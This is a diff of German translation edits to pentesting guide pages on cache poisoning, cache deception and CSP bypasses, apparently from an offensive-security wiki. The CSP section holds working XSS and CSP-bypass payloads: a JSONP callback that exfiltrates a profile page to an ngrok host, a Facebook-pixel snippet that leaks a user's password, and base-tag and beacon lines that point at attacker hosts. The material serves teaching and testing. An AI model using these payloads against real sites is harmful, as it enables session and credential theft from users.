||||
> Auf dieser Seite finden Sie verschiedene Variationen, um den **Webserver dazu zu bringen, mit Fehlern** auf Anfragen zu reagieren, die **gültig für die Cache-Server** sind.
|
||||
|
||||
- **HTTP Header Oversize (HHO)**
|
||||
|
||||
@ -13,9 +13,9 @@ GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
X-Oversize-Hedear:Big-Value-000000000000000
|
||||
```
|
||||
- **HTTP-Meta-Zeichen (HMC) & Unerwartete Werte**
|
||||
- **HTTP Meta Character (HMC) & Unerwartete Werte**
|
||||
|
||||
Senden Sie einen Header, der einige **schädliche Meta-Zeichen** wie und enthält. Damit der Angriff funktioniert, müssen Sie zuerst den Cache umgehen.
|
||||
Senden Sie einen Header, der einige **schädliche Metazeichen** wie und enthält. Damit der Angriff funktioniert, müssen Sie zuerst den Cache umgehen.
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
@ -42,7 +42,7 @@ Cache: hit
|
||||
|
||||
Invalid Header
|
||||
```
|
||||
- **HTTP Method Override Angriff (HMO)**
|
||||
- **HTTP Method Override Attack (HMO)**
|
||||
|
||||
Wenn der Server das Ändern der HTTP-Methode mit Headern wie `X-HTTP-Method-Override`, `X-HTTP-Method` oder `X-Method-Override` unterstützt, ist es möglich, eine gültige Seite anzufordern, indem die Methode geändert wird, sodass der Server sie nicht unterstützt und eine fehlerhafte Antwort zwischengespeichert wird:
|
||||
```
|
||||
@ -80,7 +80,7 @@ CF-Cache-Status: miss
|
||||
```
|
||||
- **Normalisierung der Groß- und Kleinschreibung des Host-Headers**
|
||||
|
||||
Der Host-Header sollte nicht zwischen Groß- und Kleinschreibung unterscheiden, aber einige Websites erwarten, dass er in Kleinbuchstaben geschrieben ist und geben einen Fehler zurück, wenn dies nicht der Fall ist:
|
||||
Der Host-Header sollte nicht zwischen Groß- und Kleinschreibung unterscheiden, aber einige Websites erwarten, dass er in Kleinbuchstaben vorliegt und geben einen Fehler zurück, wenn dies nicht der Fall ist:
|
||||
```
|
||||
GET /img.png HTTP/1.1
|
||||
Host: Cdn.redacted.com
|
||||
|
||||
@ -9,7 +9,7 @@ Dies ist eine Zusammenfassung der Techniken, die in dem Beitrag [https://portswi
|
||||
|
||||
## Delimiter
|
||||
|
||||
**URL-Delimiter** variieren je nach Framework und Server, was sich darauf auswirkt, wie Anfragen geroutet und Antworten behandelt werden. Einige gängige Ursprung-Delimiter sind:
|
||||
**URL-Delimiter** variieren je nach Framework und Server, was sich darauf auswirkt, wie Anfragen geroutet und Antworten behandelt werden. Einige gängige Ursprungs-Delimiter sind:
|
||||
|
||||
- **Semikolon**: Wird in Spring für Matrixvariablen verwendet (z.B. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
|
||||
- **Punkt**: Gibt das Antwortformat in Ruby on Rails an (z.B. `/MyAccount.css` → `/MyAccount`).
|
||||
|
||||
@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
### Header
|
||||
### Headers
|
||||
|
||||
CSP kann mit diesen Headern durchgesetzt oder überwacht werden:
|
||||
|
||||
- `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert alle Verstöße.
|
||||
- `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Pre-Production-Umgebungen.
|
||||
|
||||
### Ressourcen definieren
|
||||
### Defining Resources
|
||||
|
||||
CSP beschränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
|
||||
CSP schränkt die Ursprünge für das Laden sowohl aktiver als auch passiver Inhalte ein und kontrolliert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -52,19 +52,19 @@ object-src 'none';
|
||||
- **object-src**: Definiert erlaubte Quellen für `<object>`, `<embed>` und `<applet>`-Elemente.
|
||||
- **base-uri**: Gibt erlaubte URLs für das Laden mit `<base>`-Elementen an.
|
||||
- **form-action**: Listet gültige Endpunkte für Formularübermittlungen auf.
|
||||
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen kann.
|
||||
- **plugin-types**: Beschränkt MIME-Typen, die eine Seite aufrufen darf.
|
||||
- **upgrade-insecure-requests**: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
|
||||
- **sandbox**: Wendet Einschränkungen an, die ähnlich sind wie das Sandbox-Attribut eines `<iframe>`.
|
||||
- **sandbox**: Wendet Einschränkungen an, die dem Sandbox-Attribut eines `<iframe>` ähneln.
|
||||
- **report-to**: Gibt eine Gruppe an, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
|
||||
- **worker-src**: Gibt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte an.
|
||||
- **prefetch-src**: Gibt gültige Quellen für Ressourcen an, die abgerufen oder vorab abgerufen werden.
|
||||
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf irgendeine Weise navigieren kann (a, Formular, window.location, window.open usw.)
|
||||
- **navigate-to**: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open usw.)
|
||||
|
||||
### Quellen
|
||||
|
||||
- `*`: Erlaubt alle URLs, außer denen mit `data:`, `blob:`, `filesystem:`-Schemas.
|
||||
- `'self'`: Erlaubt das Laden von derselben Domain.
|
||||
- `'data'`: Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-kodierte Bilder).
|
||||
- `'data'`: Erlaubt das Laden von Ressourcen über das Datenschema (z. B. Base64-kodierte Bilder).
|
||||
- `'none'`: Blockiert das Laden von jeder Quelle.
|
||||
- `'unsafe-eval'`: Erlaubt die Verwendung von `eval()` und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
|
||||
- `'unsafe-hashes'`: Ermöglicht spezifische Inline-Ereignis-Handler.
|
||||
@ -89,7 +89,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Whitelistet Skripte mit einem spezifischen sha256-Hash.
|
||||
- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash whitelisted wurde.
|
||||
- `'strict-dynamic'`: Erlaubt das Laden von Skripten aus jeder Quelle, wenn sie durch ein nonce oder einen Hash auf die Whitelist gesetzt wurde.
|
||||
- `'host'`: Gibt einen spezifischen Host an, wie `example.com`.
|
||||
- `https:`: Beschränkt URLs auf solche, die HTTPS verwenden.
|
||||
- `blob:`: Erlaubt das Laden von Ressourcen von Blob-URLs (z.B. Blob-URLs, die über JavaScript erstellt wurden).
|
||||
@ -163,7 +163,7 @@ Es ist jedoch sehr wahrscheinlich, dass der Server die **hochgeladenen Dateien v
|
||||
|
||||
Darüber hinaus, selbst wenn Sie einen **JS-Code in** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wäre das nicht genug, da einige Server wie der Apache-Server den **MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **Javascript**-Code in etwas, das ein Bild sein sollte, **nicht ausführen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache nicht weiß**, was die _**.wave**_ Erweiterung ist, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
|
||||
|
||||
Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
|
||||
Von hier aus, wenn Sie eine XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
@ -176,7 +176,7 @@ Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, be
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||
```
|
||||
Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS aus:
|
||||
Laden Sie eine verwundbare Version von Angular und führen Sie beliebiges JS aus:
|
||||
```xml
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
|
||||
> Der Beitrag zeigt, dass Sie **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
@ -284,7 +284,7 @@ Szenarien wie dieses, in denen `script-src` auf `self` und eine bestimmte, auf d
|
||||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen von CSP auf verschiedenen Websites.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
|
||||
|
||||
Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.
|
||||
|
||||
@ -322,14 +322,14 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
|
||||
5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL gefunden werden könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
|
||||
|
||||
Dann führen Sie auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
|
||||
Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und um ein benutzerdefiniertes Ereignis wie dieses auszulösen:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele andere Möglichkeiten, wie Sie diese missbrauchen können. Siehe den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
|
||||
Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Siehe den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
@ -343,7 +343,7 @@ Der Browser wird letztendlich `https://example.com/scripts/angular/angular.js` l
|
||||
|
||||
Dies funktioniert, weil der Browser eine Datei mit dem Namen `..%2fangular%2fangular.js` lädt, die sich unter `https://example.com/scripts/react/` befindet, was mit CSP konform ist.
|
||||
|
||||
∑, sie werden es dekodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was äquivalent zu `https://example.com/scripts/angular/angular.js` ist.
|
||||
∑, sie werden es dekodieren und effektiv `https://example.com/scripts/react/../angular/angular.js` anfordern, was gleichwertig ist mit `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Durch **Ausnutzung dieser Inkonsistenz in der URL-Interpretation zwischen dem Browser und dem Server können die Pfadregeln umgangen werden**.
|
||||
|
||||
@ -361,14 +361,14 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
|
||||
|
||||
Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.
|
||||
|
||||
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **Tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und damit ein XSS zu erreichen.**\
|
||||
Wenn die verwundbare Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
|
||||
Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und damit eine XSS zu erreichen.**\
|
||||
Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS-Ereignisse
|
||||
|
||||
Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
|
||||
Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Array von Objekten enthält, die in der Ausführungskette des Ereignisses beteiligt sind, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
|
||||
|
||||
Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess:
|
||||
```xml
|
||||
@ -377,7 +377,7 @@ Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich,
|
||||
```
|
||||
Dieser Ausschnitt hebt die Verwendung der `ng-focus`-Direktive hervor, um das Ereignis auszulösen, wobei `$event.path|orderBy` verwendet wird, um das `path`-Array zu manipulieren, und das `window`-Objekt genutzt wird, um die `alert()`-Funktion auszuführen, wodurch `document.cookie` offengelegt wird.
|
||||
|
||||
**Finden Sie andere Angular-Bypässe in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
**Finde andere Angular-Bypässe in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS und genehmigte Domain
|
||||
```
|
||||
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Andere JSONP beliebige Ausführungsendpunkte finden Sie [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (einige von ihnen wurden gelöscht oder behoben)
|
||||
Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben)
|
||||
|
||||
### Umgehung durch Umleitung
|
||||
|
||||
@ -421,9 +421,9 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl `/test` als auch `/a/test` Skripte von CSP blockiert.
|
||||
|
||||
Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
|
||||
Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig zu `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
|
||||
|
||||
Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, dieser immer noch umgangen.
|
||||
Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.
|
||||
|
||||
Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
|
||||
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild** **erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Mit Service Workern
|
||||
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### Über Bookmarklets
|
||||
|
||||
Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen**. Dieses Bookmarklet würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
|
||||
Dieser Angriff würde einige soziale Ingenieurkunst erfordern, bei der der Angreifer **den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen**. Dieses Bookmarklet würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
|
||||
|
||||
Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP-Umgehung durch Einschränkung von CSP
|
||||
|
||||
In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes Iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
|
||||
In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
|
||||
|
||||
Sie können **eine CSP eines Iframes** mit dem **`csp`**-Attribut einschränken:
|
||||
```html
|
||||
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
|
||||
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der ihren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:**
|
||||
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und inline Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der ihren **Nonce** erlaubt, und **bestimmte inline Skripte über sha aktiviert werden:**
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS-Exfiltration mit Content-Security-Policy-Report-Only
|
||||
|
||||
Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von Ihnen kontrollierten Wert** hat (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen und wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
|
||||
Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von Ihnen kontrollierten Wert** hat (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen lassen. Wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
|
||||
|
||||
Für ein Beispiel [**sehen Sie sich diesen CTF-Bericht an**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -601,7 +601,7 @@ Trick von [**hier**](https://ctftime.org/writeup/29310).
|
||||
|
||||
Laut der [**letzten Technik, die in diesem Video kommentiert wurde**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man es auch mit POST-Parametern und mehr als 20 Dateien tun kann) dazu, dass jeder definierte **`header()`** im PHP-Webcode **nicht gesendet wird**, aufgrund des Fehlers, den dies auslösen wird.
|
||||
|
||||
### PHP-Antwortpufferüberlastung
|
||||
### Überlastung des PHP-Antwortpuffers
|
||||
|
||||
PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\
|
||||
Die Technik besteht also im Wesentlichen darin, den **Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
|
||||
@ -610,7 +610,7 @@ Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Ba
|
||||
|
||||
### Fehlerseite umschreiben
|
||||
|
||||
Von [**diesem Writeup**](https://blog.ssrf.kr/69) sieht es so aus, als wäre es möglich gewesen, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
|
||||
Laut [**diesem Writeup**](https://blog.ssrf.kr/69) scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem eine Fehlerseite (potenziell ohne CSP) geladen und deren Inhalt umgeschrieben wurde.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -625,9 +625,9 @@ SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).
|
||||
Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).
|
||||
|
||||
Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und da WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
|
||||
